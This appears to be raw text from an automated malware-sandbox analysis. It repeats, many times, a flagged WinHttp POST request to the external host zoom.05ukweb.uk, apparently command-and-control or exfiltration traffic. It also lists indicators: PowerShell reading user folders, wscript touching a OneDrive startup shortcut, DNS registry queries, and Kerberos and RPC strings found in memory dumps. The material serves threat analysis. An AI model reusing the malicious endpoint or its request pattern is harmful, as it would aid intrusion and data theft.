Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v255&session=798383871&isbn=4601787 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v255&session=798383871&isbn=4601787 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v255&session=798383871&isbn=4601787 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "4968Host" in header "POST /ft?topic=v255&session=798383871&isbn=4601787 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v255&session=798383871&isbn=4601787 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4968Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4607832 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4607832 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4607832 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4607832 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4607832 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4607832 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "4911Host" in header "POST /ft?topic=v258&session=742298662&isbn=4607832 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4607832 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4613968 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4613968 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4613968 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4613968 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4613968 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4613968 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "4911Host" in header "POST /ft?topic=v258&session=742298662&isbn=4613968 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4613968 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4620109 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4620109 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4620109 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4620109 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4620109 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4620109 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "4911Host" in header "POST /ft?topic=v258&session=742298662&isbn=4620109 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4620109 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4626244 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4626244 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4626244 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4626244 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4626244 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4626244 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "4911Host" in header "POST /ft?topic=v258&session=742298662&isbn=4626244 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4626244 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4632377 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4632377 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4632377 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4632377 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4632377 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4632377 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "4911Host" in header "POST /ft?topic=v258&session=742298662&isbn=4632377 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4632377 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v258&session=742298662&isbn=4638508 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "v258" in header "POST /ft?topic=v258&session=742298662&isbn=4638508 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v258&session=742298662&isbn=4638508 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v258&session=742298662&isbn=4638508 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v258&session=742298662&isbn=4638508 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v258&session=742298662&isbn=4638508 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "4911Host" in header "POST /ft?topic=v258&session=742298662&isbn=4638508 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v258&session=742298662&isbn=4638508 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "POST" in header "POST /ft?topic=v255&session=798383871&isbn=4644580 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "v255" in header "POST /ft?topic=v255&session=798383871&isbn=4644580 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Keep" in header "POST /ft?topic=v255&session=798383871&isbn=4644580 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "AliveContent" in header "POST /ft?topic=v255&session=798383871&isbn=4644580 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "Type" in header "POST /ft?topic=v255&session=798383871&isbn=4644580 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "User" in header "POST /ft?topic=v255&session=798383871&isbn=4644580 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "4911Host" in header "POST /ft?topic=v255&session=798383871&isbn=4644580 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk" Contains base64 string in header "zoom" in header "POST /ft?topic=v255&session=798383871&isbn=4644580 HTTP/1.1Connection: Keep-AliveContent-Type: text/plain; Charset=UTF-8Accept: */*User-Agent: Mozilla/4.0 (compatible; Win32; WinHttp.WinHttpRequest.5)Content-Length: 4911Host: zoom.05ukweb.uk"55:T843,Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "+ncalrpc:[OLE69AE8492A43A4CF8A1722D1FA347]" (Indicator: "ncalrpc"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "B+ncalrpc:[OLE2F6DAC4404FEC98F6C8ED638121C]" (Indicator: "ncalrpc"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.7A160000.00000004.mdmp") Found string "+ncalrpc:[OLE2F6DAC4404FEC98F6C8ED638121C]" (Indicator: "ncalrpc"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "B+ncalrpc:[OLE2F6DAC4404z" (Indicator: "ncalrpc"; Source: "00000000-00003076.00000002.259256.79F30000.00000004.mdmp") Found string "9ncalrpc:[epmapper,Security=Impersonation Dynamic False]" (Indicator: "ncalrpc"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "+ncalrpc:[OLE5BFEDAB90E0F0F7AE4BA2BBD14EF]" (Indicator: "ncalrpc"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "+ncalrpc:[OLE2F6DAC4404FEC98F6C8ED638121C]" (Indicator: "ncalrpc"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp, 00000000-00005276.00000001.257334.E4C10000.00000004.mdmp, 00000000-00005276.00000002.259252.E4C10000.00000004.mdmp") Found string "B+ncalrpc:[OLE2F6DAC4404FEC98F6C8ED638121C]" (Indicator: "ncalrpc"; Source: "00000000-00005276.00000000.255414.E4C10000.00000004.mdmp")56:T633,"powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\recent\customdestinations\590aee7bdd69b59b.customdestinations-ms" "powershell.exe" reads file "c:\users\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\programs\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\appdata\roaming\microsoft\windows\start menu\programs\windows powershell\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\desktop\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\documents\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\music\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\pictures\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\videos\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\downloads\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\onedrive\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\searches\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\contacts\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\favorites\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\links\desktop.ini" "powershell.exe" reads file "c:\users\%osuser%\saved games\desktop.ini" "powershell.exe" reads file "c:\windows\system32\windowspowershell\v1.0\powershell.exe.config" "powershell.exe" reads file "c:\windows\microsoft.net\framework64\v4.0.30319\config\machine.config"57:T4c5,"powershell.exe" trying to access LNK file "C:\%AppData%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk" "powershell.exe" trying to access LNK file "C:\Windows\%APPDATA%\MICROSOFT\WINDOWS\START MENU\PROGRAMS\WINDOWS POWERSHELL\WINDOWS POWERSHELL.LNK" "powershell.exe" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk" "powershell.exe" trying to access LNK file "%WINDIR%\%APPDATA%\MICROSOFT\WINDOWS\START MENU\PROGRAMS\WINDOWS POWERSHELL\WINDOWS POWERSHELL.LNK" "powershell.exe" trying to access LNK file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Windows PowerShell\Windows PowerShell.lnk" "wscript.exe" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\onedrive.lnk" "wscript.exe" trying to access LNK file "C:\Users\%OSUSER%\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\ONEDRIVE.LNK" "wscript.exe" trying to access LNK file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\onedrive.lnk" "wscript.exe" trying to access LNK file "%APPDATA%\Microsoft\Windows\Start Menu\Programs\Startup\ONEDRIVE.LNK"58:Te6e,"powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYADAPTERNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "DISABLEADAPTERDOMAINNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "USEDOMAINNAMEDEVOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DOMAINNAMEDEVOLUTIONLEVEL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "PRIORITIZERECORDDATA"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\TCPIP\PARAMETERS"; Key: "ALLOWUNQUALIFIEDQUERY"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "APPENDTOMULTILABELNAME"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENBADTLDS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENUNREACHABLESERVERS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "SCREENDEFAULTSERVERS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DYNAMICSERVERQUERYORDER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "FILTERCLUSTERIP"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "WAITFORNAMEERRORONALL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEEDNS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DNSSECURENAMEQUERYFALLBACK"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ENABLEDAFORALLNETWORKS"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DIRECTACCESSQUERYORDER"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "QUERYIPMATCHING"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "USEHOSTSFILE"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "ADDRCONFIGCONTROL"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "DISABLESMARTNAMERESOLUTION"; Value: "") "powershell.exe" (Access type: "QUERYVAL"; Path: "HKLM\SYSTEM\CONTROLSET001\SERVICES\DNSCACHE\PARAMETERS"; Key: "PREFERLOCALOVERLOWERBINDINGDNS"; Value: "")59:T652,Found string "Kerberos" (Indicator: "kerberos"; Source: "00000000-00003076.00000000.255416.762F0000.00000004.mdmp, 00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string ":\WINDOWS\system32\kerberos.DLL" (Indicator: "kerberos"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "icrosoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "Microsoft Kerberos V1.0" (Indicator: "kerberos"; Source: "00000000-00003076.00000001.257334.762F0000.00000004.mdmp, 00000000-00003076.00000002.259256.762F0000.00000004.mdmp") Found string "Kerberos" (Indicator: "kerberos"; 